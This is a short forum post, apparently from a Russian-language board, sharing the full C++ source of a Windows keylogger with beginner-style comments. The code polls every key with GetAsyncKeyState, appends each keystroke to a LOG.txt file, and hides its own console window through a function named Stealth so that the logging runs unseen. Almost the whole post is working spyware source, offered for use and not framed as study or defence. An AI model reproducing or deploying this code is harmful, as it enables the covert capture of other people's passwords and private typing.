my c++ keylogger
Код:
#include <iostream> // These we need to
using namespace std; // include to get our
#include <windows.h> // Keylogger working.
#include <winuser.h> //
int Save (int key_stroke, char *file); // This will declare 'Save' as an integer.
void Stealth(); //This Will be used to let the program run in stealth.
int main() //Here we declare Main as an integer.
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' as a character.
while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // Here we say where our log.txt will be saved. Now it will save it in the same dir as the .exe
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
